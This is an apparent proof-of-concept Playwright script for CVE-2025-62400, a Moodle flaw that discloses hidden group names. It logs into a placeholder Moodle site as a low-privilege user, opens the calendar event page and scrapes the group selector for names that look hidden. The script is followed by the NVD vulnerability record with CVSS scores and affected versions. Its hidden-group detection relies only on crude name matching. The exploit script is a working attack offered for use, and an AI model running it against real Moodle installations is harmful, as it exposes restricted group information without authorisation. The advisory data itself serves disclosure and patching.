CVE-2025-62400

// CVE-2025-62400 PoC - Moodle Hidden Group Name Disclosure // This PoC demonstrates how hidden group names can be exposed via calendar event creation // Step 1: Authenticate with low-privilege account const loginMoodle = async (page, username, password) => { await page.goto('https://target-moodle/login/index.php'); await page.fill('#username', username); await page.fill('#password', password); await page.click('#loginbtn'); await page.waitForURL('**/my/**'); }; // Step 2: Navigate to calendar event creation const navigateToCalendarEvent = async (page) => { await page.goto('https://target-moodle/calendar/addevent.php'); await page.waitForSelector('#id_name'); }; // Step 3: Check for hidden groups in group selector const extractGroupNames = async (page) => { // Look for group selector dropdown or checkbox options const groupSelector = await page.$('#id_groupid, .group-selector, [name*="group"]'); if (groupSelector) { const options = await page.$$eval('option', options => options.map(opt => ({ value: opt.value, text: opt.textContent })) ); // Filter potential hidden groups based on naming patterns const hiddenGroups = options.filter(opt => opt.text.includes('Hidden') || opt.text.includes('Private') || opt.value.startsWith('hidden_') || opt.text.includes('(Hidden)') ); console.log('Discovered groups:', options); console.log('Potential hidden groups:', hiddenGroups); return { allGroups: options, hiddenGroups: hiddenGroups }; } return null; }; // Main execution (async () => { const { chromium } = require('playwright'); const browser = await chromium.launch(); const page = await browser.newPage(); try { // Login with low-privilege user await loginMoodle(page, 'testuser', 'password123'); // Navigate to calendar await navigateToCalendarEvent(page); // Extract group information const groups = await extractGroupNames(page); if (groups && groups.hiddenGroups.length > 0) { console.log('[+] VULNERABLE: Hidden group names exposed'); console.log('[+] Hidden groups:', JSON.stringify(groups.hiddenGroups, null, 2)); } else { console.log('[-] Not vulnerable or no hidden groups found'); } } catch (error) { console.error('Error:', error.message); } finally { await browser.close(); } })();

{"cve": {"id": "CVE-2025-62400", "sourceIdentifier": "[email protected]", "published": "2025-10-23T12:15:32.757", "lastModified": "2025-11-14T19:07:37.553", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Moodle exposed the names of hidden groups to users who had permission to create calendar events but not to view hidden groups. This could reveal private or restricted group information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.1.0", "versionEndExcluding": "4.1.21", "matchCriteriaId": "03EFB43E-5E00-4244-BAF5-460594A32DF1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.11", "matchCriteriaId": "CED60CDC-8F12-481C-9ADD-8559860A2B3C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.5.0", "versionEndExcluding": "4.5.7", "matchCriteriaId": "5414437D-2D9C-4565-853F-EAF761F52E5E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.3", "matchCriteriaId": "672DBB86-D5A8-41B6-B6F3-8E323E9C21F0"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-62400", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2404433", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}]}}